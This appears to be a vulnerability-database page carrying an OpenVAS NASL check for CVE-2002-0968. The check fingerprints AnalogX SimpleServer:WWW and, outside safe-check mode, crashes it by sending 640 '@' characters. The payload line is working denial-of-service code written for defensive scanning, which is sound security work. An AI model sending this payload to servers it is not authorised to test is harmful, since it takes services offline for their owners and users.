AnalogX SimpleServer:WWW Denial of Service vulnerabilit
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | CVE-2002-0968 | 2 Apr 200305:00 | – | cve |
![]() | AnalogX SimpleServer:WWW Buffer Overflow | 30 Jun 200200:00 | – | nessus |
![]() | AnalogX SimpleServer:WWW DoS | 3 Nov 200500:00 | – | openvas |
![]() | CVE-2002-0968 | 2 Apr 200305:00 | – | cvelist |
![]() | CVE-2002-0968 | 4 Oct 200204:00 | – | nvd |
# OpenVAS Vulnerability Test
# $Id: simpleserverwww_dos.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: AnalogX SimpleServer:WWW DoS
#
# Authors:
# Michel Arboi <[email protected]>
#
# Copyright:
# Copyright (C) 2002 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "It was possible to kill the remote web server by sending 640 @
character to it.
A cracker may use this flaw to make your server crash continuously,
preventing it from working properly.";
tag_solution = "upgrade your software or use another
HTTP server.";
# Rerefence:
# To: [email protected]
# From:"Fort _" <[email protected]>
# Subject: Remote DoS in AnalogX SimpleServer:www 1.16
# Message-ID: <[email protected]>
if(description)
{
script_id(11035);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(5006);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2002-0968");
script_name("AnalogX SimpleServer:WWW DoS");
script_category(ACT_MIXED_ATTACK);
script_tag(name:"qod_type", value:"remote_active");
script_copyright("This script is Copyright (C) 2002 Michel Arboi");
family = "Denial of Service";
script_family(family);
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_require_keys("www/simpleserver");
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
# The script code starts here
include("http_func.inc");
port = get_http_port(default:80);
if(!get_port_state(port)) exit(0);
banner = get_http_banner(port: port);
if (! banner) exit(0);
if(!egrep(pattern:"^Server: *SimpleServer:WWW", string:banner))exit(0);
if (safe_checks())
{
if (egrep(pattern:"^Server: *SimpleServer:WWW/1.[01]", string:banner))
{
security_message(port: port, data:"According ot its version number,
it should be possible to kill your remote SimpleServer web server
by sending 640 @ character to it.
A cracker may use this flaw to make your server crash continuously,
preventing it from working properly.
Solution: upgrade your software or use another
HTTP server.");
}
exit(0);
}
soc = open_sock_tcp(port);
if(!soc) exit(0);
send(socket:soc, data:string(crap(length:640, data:"@"), "\r\n\r\n"));
r = http_recv(socket:soc);
close(soc);
soc = open_sock_tcp(port);
if(soc) { close(soc); exit(0); }
security_message(port);
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